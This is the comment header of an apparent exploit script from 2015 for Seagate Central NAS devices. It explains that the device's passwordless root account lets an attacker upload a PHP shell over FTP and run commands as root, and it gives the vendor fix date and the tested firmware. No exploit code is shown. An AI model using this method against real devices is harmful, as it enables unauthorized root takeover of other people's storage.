# Seagate Central Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# May 2015
#
# -Synopsis-
#
# Seagate Central by default has a passwordless root account (and no option to change it).
# One way to exploit this is to log into it's ftp server and upload a php shell to the webroot.
# From there, we can execute commands with root privileges as lighttpd is also running as root.
#
# -Fixes-
#
# Seagate scheduled it's updates to go live on April 28th, 2015.
#
# Tested Firmware Version: 2014.0410.0026-F
